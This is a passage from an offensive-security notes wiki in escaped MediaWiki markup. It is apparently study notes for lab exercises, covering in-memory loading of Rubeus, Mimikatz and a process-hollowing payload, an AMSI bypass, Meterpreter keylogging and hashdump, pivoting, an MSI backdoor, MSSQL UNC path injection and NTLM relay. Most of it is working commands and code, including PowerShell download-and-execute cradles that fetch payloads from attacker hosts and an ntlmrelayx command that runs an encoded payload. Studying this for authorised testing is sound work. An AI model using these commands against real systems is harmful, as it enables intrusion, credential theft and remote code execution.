* &#039;&#039;&#039;Setting LD_PRELOAD with Sudo&#039;&#039;&#039;: Use an alias in  ​.bashrc​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
alias sudo=&amp;quot;sudo LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-13.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Reload &#039;&#039;&#039;&#039;&#039;&#039; &#039;&#039;&#039;&#039;&#039;&#039;​&#039;&#039;&#039;&#039;&#039;&#039;.bashrc&#039;&#039;&#039;&#039;&#039;&#039;​&#039;&#039;&#039;&#039;&#039;&#039; &#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
source ~/.bashrc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Now run the command&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /etc/passwd /tmp/passwd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-15.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Load Exe in Memory ==&lt;br /&gt;
&lt;br /&gt;
* To load an exe file to memory you have to have access to the source code in order to find out what the namespace is and the class.&lt;br /&gt;
&lt;br /&gt;
* Below are example of how to run &#039;&#039;&#039;Rubeus.exe &#039;&#039;&#039;in memory and run &#039;&#039;&#039;ProcessHollowing payload&#039;&#039;&#039; in memory and run &#039;&#039;&#039;Mimikatz &#039;&#039;&#039;from memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
##  Load Rubeus.exe to memory ##&lt;br /&gt;
# First disable AMSI&lt;br /&gt;
(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/amsi.txt&#039;) | IEX&lt;br /&gt;
# Download Rubeus into memory&lt;br /&gt;
$data = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.119.120/Rubeus.exe&#039;)&lt;br /&gt;
# Load it as an assembly&lt;br /&gt;
$assem = [System.Reflection.Assembly]::Load($data)&lt;br /&gt;
# Invoke a function&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;purge&amp;quot;.Split())&lt;br /&gt;
# Examples&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;s4u /user:web01$ /rc4:12343649cc8ce713962859a2934b8cbb /impersonateuser:administrator /msdsspn:cifs/file01 /ptt&amp;quot;.Split())&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;s4u /user:svc_file /rc4:08985D3B7B336B046AB92E0B2AAEEAF6 /impersonateuser:administrator /msdsspn:cifs/file02 /ptt&amp;quot;.Split())&lt;br /&gt;
# One liner&lt;br /&gt;
$data = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.49.79/Rubeus.exe&#039;);$assem = [System.Reflection.Assembly]::Load($data);[Rubeus.Program]::Main(&amp;quot;hash /password:Password123&amp;quot;.Split())&lt;br /&gt;
&lt;br /&gt;
---------------------------------------&lt;br /&gt;
## Run ProcessHollowing in memory ##&lt;br /&gt;
# Where Proc_hol is the namespace, and Program is the class.&lt;br /&gt;
$data2 = (New-Object System.Net.WebClient).DownloadData(&#039;http://92.221.186.47/proc_hol.exe&#039;);$assem = [System.Reflection.Assembly]::Load($data2);[Proc_hol.Program]::Main(&amp;quot;&amp;quot;.Split())&lt;br /&gt;
---------------------------------------&lt;br /&gt;
## Using Invoke-ReflectivePEInjection.ps1.&lt;br /&gt;
# See OneNote for correct version.&lt;br /&gt;
# Load PrintSpoofer in memory&lt;br /&gt;
(New-Object System.Net.WebClient).DownloadString(&#039;http://example.com/Invoke-ReflectivePEInjection.ps1&#039;) | IEX&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://example.com/PrintSpoofer.exe&#039;)&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ExeArgs &amp;quot;-i -c cmd&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Metasploit Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/@tanseejou97/tryhackme-metasploit-meterpreter-walkthrough-17e5bd9c0dc7#:~:text=POST-exploitation%20with%20Meterpreter%201%20Migrate%20migrate%20%5BPID%20of,locate%20files%20with%20potentially%20juice%20information.%204%20Shell [TryHackMe] Metasploit: Meterpreter — walkthrough | by Tanseejou | Medium]&lt;br /&gt;
&lt;br /&gt;
=== Metasploit Unleashed ===&lt;br /&gt;
&lt;br /&gt;
[https://www.offsec.com/metasploit-unleashed/ Metasploit Unleashed - Free Online Ethical Hacking Course | OffSec]&lt;br /&gt;
&lt;br /&gt;
== Running Metasploit as a Daemon ==&lt;br /&gt;
&lt;br /&gt;
To start Metasploit as a daemon, you need to run the msfd utility, which opens on port 55554 by default.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfd&lt;br /&gt;
[*] Initializing msfd...&lt;br /&gt;
[*] Running msfd...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To connect to the daemon, use netcat like the following example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/]&lt;br /&gt;
└─# nc 127.0.0.1 55554&lt;br /&gt;
  Metasploit Park, System Security Interface&lt;br /&gt;
  Version 4.0.5, Alpha E&lt;br /&gt;
  Ready...&lt;br /&gt;
  &amp;gt; access security&lt;br /&gt;
  access: PERMISSION DENIED.&lt;br /&gt;
  &amp;gt; access security grid&lt;br /&gt;
  access: PERMISSION DENIED.&lt;br /&gt;
  &amp;gt; access main security grid&lt;br /&gt;
  access: PERMISSION DENIED....and...&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
&lt;br /&gt;
       =[ metasploit v6.3.41-dev                          ]&lt;br /&gt;
+ -- --=[ 2371 exploits - 1230 auxiliary - 414 post       ]&lt;br /&gt;
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]&lt;br /&gt;
+ -- --=[ 9 evasion                                       ]&lt;br /&gt;
Metasploit Documentation: https://docs.metasploit.com/&lt;br /&gt;
[*] Starting persistent handler(s)...&lt;br /&gt;
msf6 &amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter MindMap ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Windows-Meterpreter][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Download]&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Commands ===&lt;br /&gt;
&lt;br /&gt;
* Source: [https://sergio-f20-notes.gitbook.io/hacking/8.-tunneling/c2-command-and-control/metasploit/meterpreter-commands Meterpreter Commands - Hacking (gitbook.io)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basics&lt;br /&gt;
help --&amp;gt; List available commands&lt;br /&gt;
sysinfo --&amp;gt; Displays system  info&lt;br /&gt;
getuid --&amp;gt; List current session owner&lt;br /&gt;
sessions -i 2 --&amp;gt; Change to session 2&lt;br /&gt;
shell --&amp;gt; Drop to interactive shell&lt;br /&gt;
channel -i 1 --&amp;gt; Change to shell in channel 1&lt;br /&gt;
background --&amp;gt; Background session to interact with msfconsole&lt;br /&gt;
upload {local path} {victim path} --&amp;gt; Upload a file&lt;br /&gt;
download {path} --&amp;gt; Download file&lt;br /&gt;
reg {Command} --&amp;gt; Interacts with registry (reg by itself will list syntax)&lt;br /&gt;
execute -f cmd.exe -i --&amp;gt; Execute cmd.exe and interact&lt;br /&gt;
execute -f cmd.exe -i -H -t --&amp;gt; Execute cmd as hidden process and with all tokens&lt;br /&gt;
# Powershell&lt;br /&gt;
load powershell&lt;br /&gt;
powershell_execute --&amp;gt; Execute a PowerShell statement, including complex-statements separated by semicolons&lt;br /&gt;
powershell_import --&amp;gt; Import a local PowerShell script to execute on the remote system over the Meterpreter channel&lt;br /&gt;
powershell_shell --&amp;gt; Launch an interactive PowerShell shell&lt;br /&gt;
powershell_session_remove --&amp;gt; Used to remove a PowerShell session when created using execute/import/shell with the -s argument&lt;br /&gt;
# Host Reconnaissance&lt;br /&gt;
# List running processes on a system&lt;br /&gt;
ps --&amp;gt; List processes&lt;br /&gt;
getpid --&amp;gt; List current PID&lt;br /&gt;
migrate {PID} --&amp;gt; Migrate to anothe PID&lt;br /&gt;
post/windows/manage/migrate --&amp;gt; Make meterpreter migrate to another process.&lt;br /&gt;
run service_manager -l --&amp;gt; Lists running services on Windows.&lt;br /&gt;
If we are against a non-interactive logon in which the explorer.exe process does not exist, we can create a hidden instance of notepad and migrate into it:&lt;br /&gt;
execute -H -f notepad&lt;br /&gt;
migrate {PID}&lt;br /&gt;
# Screenshots&lt;br /&gt;
screengrab --&amp;gt; Run plugin to capture screenshot of user session&lt;br /&gt;
# Keylogger&lt;br /&gt;
keyscan_start --&amp;gt; Start keylogger&lt;br /&gt;
keyscan_stop --&amp;gt; Stop keylogger&lt;br /&gt;
keyscan_dump --&amp;gt; Dump keylogger&lt;br /&gt;
# Privilege Escalation&lt;br /&gt;
getsystem --&amp;gt; Attempts to elevate privileges.&lt;br /&gt;
post/windows/gather/win_privs --&amp;gt; Determine privilege information.&lt;br /&gt;
exploit/windows/local/bypassuac_vbs --&amp;gt; Attempts to bypass UAC in order to escalate privileges.&lt;br /&gt;
windows/local/bypassuac_fodhelper --&amp;gt; Attempts to bypass UAC with fodhelper method, this should work w/ defender diasbled.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Post-Explotation with Meterpreter ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;help&amp;lt;/code&amp;gt;: List available commands.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Migrate&#039;&#039;&#039;: Migrate to another process with &amp;lt;code&amp;gt;migrate [PID]&amp;lt;/code&amp;gt;.&lt;br /&gt;
Used for: keystroke capturing (&amp;lt;code&amp;gt;keyscan_start&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;keyscan_stop&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;keyscan_dump&amp;lt;/code&amp;gt;) and ensuring session stability.&lt;br /&gt;
&lt;br /&gt;
* Caution: Migrating may lead to privilege loss.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Hashdump&#039;&#039;&#039;: Dump the SAM database containing NTLM-formatted passwords with &amp;lt;code&amp;gt;hashdump&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Search&#039;&#039;&#039;: Find files, e.g., &amp;lt;code&amp;gt;search -f flag2.txt&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Shell&#039;&#039;&#039;: Launch command shell on the target with &amp;lt;code&amp;gt;shell&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;search smb/psexec&amp;lt;/code&amp;gt; to search for a module.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;use [id]&amp;lt;/code&amp;gt; to use the module.&lt;br /&gt;
&lt;br /&gt;
* Set required fields using &amp;lt;code&amp;gt;set&amp;lt;/code&amp;gt; (e.g., &amp;lt;code&amp;gt;set RHOSTS [target-machine-ip]&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
* Confirm settings with &amp;lt;code&amp;gt;show options&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;run&amp;lt;/code&amp;gt; to start the exploit.&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Extensions ===&lt;br /&gt;
&lt;br /&gt;
[https://www.hackers-arise.com/post/2018/11/26/metasploit-basics-part-21-post-exploitation-with-mimikatz Metasploit Basics, Part 21: Capturing Credentials with mimikatz (hackers-arise.com)]&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;load kiwi&amp;lt;/code&amp;gt; - Load Mimikatz in current process&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;load incognito&amp;lt;/code&amp;gt; - Incognito is a tool which can be used for privilege escalation, typically from Local Administrator to Domain Administrator.&lt;br /&gt;
&lt;br /&gt;
*  &amp;lt;code&amp;gt;load powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;powershell_import PowerUp.ps1&amp;lt;/code&amp;gt; &amp;lt;-- from our local working dir.&lt;br /&gt;
&amp;lt;code&amp;gt;powershell_execute &amp;quot;Invoke-AllChecks&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter pivoting and Proxychains ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use autoroute module to create a pivot for the other network&lt;br /&gt;
use post/multi/manage/autoroute&lt;br /&gt;
set SUBNET 192.72.180.0&lt;br /&gt;
set SESSION 2&lt;br /&gt;
exploit&lt;br /&gt;
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.&lt;br /&gt;
use auxiliary/server/socks_proxy # Or try socks5&lt;br /&gt;
show options&lt;br /&gt;
set SRVPORT 9050&lt;br /&gt;
exploit&lt;br /&gt;
# Now you can use proxychains&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Portforward ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.offsec.com/metasploit-unleashed/portfwd/&lt;br /&gt;
# Add&lt;br /&gt;
# From the Meterpreter shell, the command is used in the following manner:&lt;br /&gt;
meterpreter &amp;gt; portfwd add –l 3389 –p 3389 –r  [target host]&lt;br /&gt;
# add will add the port forwarding to the list and will essentially create a tunnel for us. Please note, this tunnel will also exist outside the Metasploit console, making it available to any terminal session.&lt;br /&gt;
-l 3389 is the local port that will be listening and forwarded to our target. This can be any port on your machine, as long as it’s not already being used.&lt;br /&gt;
-p 3389 is the destination port on our targeting host.&lt;br /&gt;
-r [target host] is the our targeted system’s IP or hostname.&lt;br /&gt;
meterpreter &amp;gt; portfwd add –l 3389 –p 3389 –r 172.16.194.191&lt;br /&gt;
[*] Local TCP relay created: 0.0.0.0:3389 &amp;gt;-&amp;gt; 172.16.194.191:3389&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
Figure 2 Adding a port&lt;br /&gt;
# Delete&lt;br /&gt;
## Entries are deleted very much like the previous command. Once again from an active Meterpreter session, we would type the following:&lt;br /&gt;
meterpreter &amp;gt; portfwd delete –l 3389 –p 3389 –r [target host]&lt;br /&gt;
meterpreter &amp;gt; portfwd delete –l 3389 –p 3389 –r 172.16.194.191&lt;br /&gt;
[*] Successfully stopped TCP relay on 0.0.0.0:3389&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
# FLUSH: This argument will allow us to remove all the local port forward at once.&lt;br /&gt;
meterpreter &amp;gt; portfwd flush&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSI Backdoor ==&lt;br /&gt;
&lt;br /&gt;
If AlwaysInstalledElevated is set to one, you can elevate your privileges by backdooring an MSI installer.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper&lt;br /&gt;
Download exemsi --&amp;gt; https://www.exemsi.com/download/&lt;br /&gt;
# Follow the guide fom hacktrics.&lt;br /&gt;
&lt;br /&gt;
------------------&lt;br /&gt;
# If you have a meterpreter session&lt;br /&gt;
exploit/windows/local/always_install_elevated&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Good source ===&lt;br /&gt;
&lt;br /&gt;
[https://notes.vulndev.io/wiki/redteam/payloads/windows/mssql MSSQL - Notes (vulndev.io)]&lt;br /&gt;
&lt;br /&gt;
=== MSSQL Attacks ===&lt;br /&gt;
&lt;br /&gt;
==== Enumeration ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Extract all accounts in use as SPN using built in MS tools&lt;br /&gt;
setspn -T corp1 -Q MSSQLSvc/*&lt;br /&gt;
# Use GetUserSPNs.ps1&lt;br /&gt;
https://github.com/nidem/kerberoast&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Authentication using C# ====&lt;br /&gt;
&lt;br /&gt;
* This C# code is a simple program that connects to a SQL Server instance, checks if the connection is successful, and then retrieves and displays the current logged-in user. It also checks if the logged-in user is a member of the &#039;public&#039; server role and displays the result.&lt;br /&gt;
&lt;br /&gt;
* The term &amp;lt;code&amp;gt;Integrated Security = True;&amp;lt;/code&amp;gt; in a SQL Server connection string indicates that the connection should use Windows Authentication rather than SQL Server Authentication.&lt;br /&gt;
&lt;br /&gt;
* It&#039;s considered more secure than SQL Server Authentication because it uses the underlying Windows account mechanisms, including password policies, Kerberos, and NTLM.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String querylogin = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(querylogin, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Console.WriteLine(&amp;quot;Logged in as: &amp;quot; + reader[0]);&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            // Check public role&lt;br /&gt;
            String querypublicrole = &amp;quot;SELECT IS_SRVROLEMEMBER(&#039;public&#039;);&amp;quot;;&lt;br /&gt;
            command = new SqlCommand(querypublicrole, con);&lt;br /&gt;
            reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Int32 rolePublic = Int32.Parse(reader[0].ToString());&lt;br /&gt;
            if (rolePublic == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is a member of public role&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is NOT a member of public role&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            // Check sysadmin role&lt;br /&gt;
            String querySysAdminRole = &amp;quot;SELECT IS_SRVROLEMEMBER(&#039;sysadmin&#039;);&amp;quot;;&lt;br /&gt;
            command = new SqlCommand(querySysAdminRole, con);&lt;br /&gt;
            reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Int32 roleSysAdmin = Int32.Parse(reader[0].ToString());&lt;br /&gt;
            if (roleSysAdmin == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is a member of sysadmin&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is NOT a member of sysadmin&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== UNC Path Injection ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Attack Premise&#039;&#039;&#039;: Capture the hash of the user account under which the SQL server runs by making it connect to an SMB share.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# xp_dirtree SQL Procedure&lt;br /&gt;
#	• Function: Lists all files in a given folder.&lt;br /&gt;
#	• Special Feature: Can accept an SMB share as a target.&lt;br /&gt;
EXEC master..xp_dirtree &amp;quot;\\192.168.119.120\\test&amp;quot;;&lt;br /&gt;
# Responder Tool&lt;br /&gt;
#	• Function: Sets up an SMB share initiating NTLM authentication.&lt;br /&gt;
sudo responder -I tun0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below will authenticate to the SQL server and execute the xp_dirtree procedure. Remember to start &amp;lt;code&amp;gt;responder&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Once the NET-NTLM hash is captured, you can use &amp;lt;code&amp;gt;hashcat&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;hashcat -m 5600 hash.txt dict.txt --force&amp;lt;/code&amp;gt;) or &amp;lt;code&amp;gt;john&amp;lt;/code&amp;gt; to crack it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String query = &amp;quot;EXEC master..xp_dirtree \&amp;quot;\\\\192.168.119.120\\\\test\&amp;quot;;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:8ZPa5+qasCAAAAABJRU5ErkJggg==|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Relay the hash ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
Achieve code execution on the SQL server OS without needing to crack the captured Net-NTLM hash.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Net-NTLM hash&#039;&#039;&#039;: While it can&#039;t be used directly in a pass-the-hash attack, it can be relayed to another computer. If the user is a local administrator on the target, this can lead to code execution.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Microsoft&#039;s Security Measure&#039;&#039;&#039;: Since 2008, Microsoft has blocked the ability to relay a Net-NTLM hash back to the origin computer using the same protocol.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;SMB Signing&#039;&#039;&#039;: Relaying Net-NTLM against SMB is only possible if SMB signing is not enabled. By default, it&#039;s enabled only on domain controllers.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Procedure&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Enumeration&#039;&#039;&#039;: Identified that the service account associated with the SQL server is used on both dc01 and appsrv01 and has local administrator rights on both.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First base64 encode the download cradle. This will download and invoke the run.txt. Run.txt is our shellcode runner. CTRL+F run.txt to find the code.&lt;br /&gt;
kali@kali:~$ sudo apt -y install powershell&lt;br /&gt;
kali@kali:~$ pwsh&lt;br /&gt;
PS /home/kali&amp;gt; $text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
$EncodedText&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Launch ntlmrelayx. this command attempts to relay captured NTLM authentication requests to the machine at 192.168.120.6 over SMB (with SMBv2 support). If the relay is successful and the authentication on the target is accepted, the specified base64-encoded PowerShell command will be executed on the target machine.&lt;br /&gt;
# When the xp_dirtree command is run (see code above), it will authenticate to our ntlmrelayx and we will capture the hash as shown above.&lt;br /&gt;
# The -t option specifies the target to which the relayed authentication will be sent.&lt;br /&gt;
sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.120.6 -c &#039;powershell -enc &#039;&lt;br /&gt;
[*] SMBD-Thread-4 (process_request_thread): Received connection from 192.168.229.5, attacking target smb://192.168.229.6&lt;br /&gt;
[*] Authenticating against smb://192.168.229.6 as CORP1/SQLSVC SUCCEED&lt;br /&gt;
[*] SMBD-Thread-6 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-8 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-9 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] Service RemoteRegistry is in stopped state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-7.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
===== Dump hashes using NTLMrelayx.py =====&lt;br /&gt;
&lt;br /&gt;
* You can also get the hashes if the user authenticating have the rights&lt;br /&gt;
&lt;br /&gt;
* Remember to check links also. If you have two MSSQL servers, SQL01 and SQL02 which are linked. Check if you can relay the hash from SQL01 to SQL02 and get the local SAM database for example.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
proxychains python3 ntlmrelayx.py --no-http-server -smb2support -t 192.168.1.25                                                1 ⚙&lt;br /&gt;
[proxychains] config file found: /etc/proxychains4.conf&lt;br /&gt;
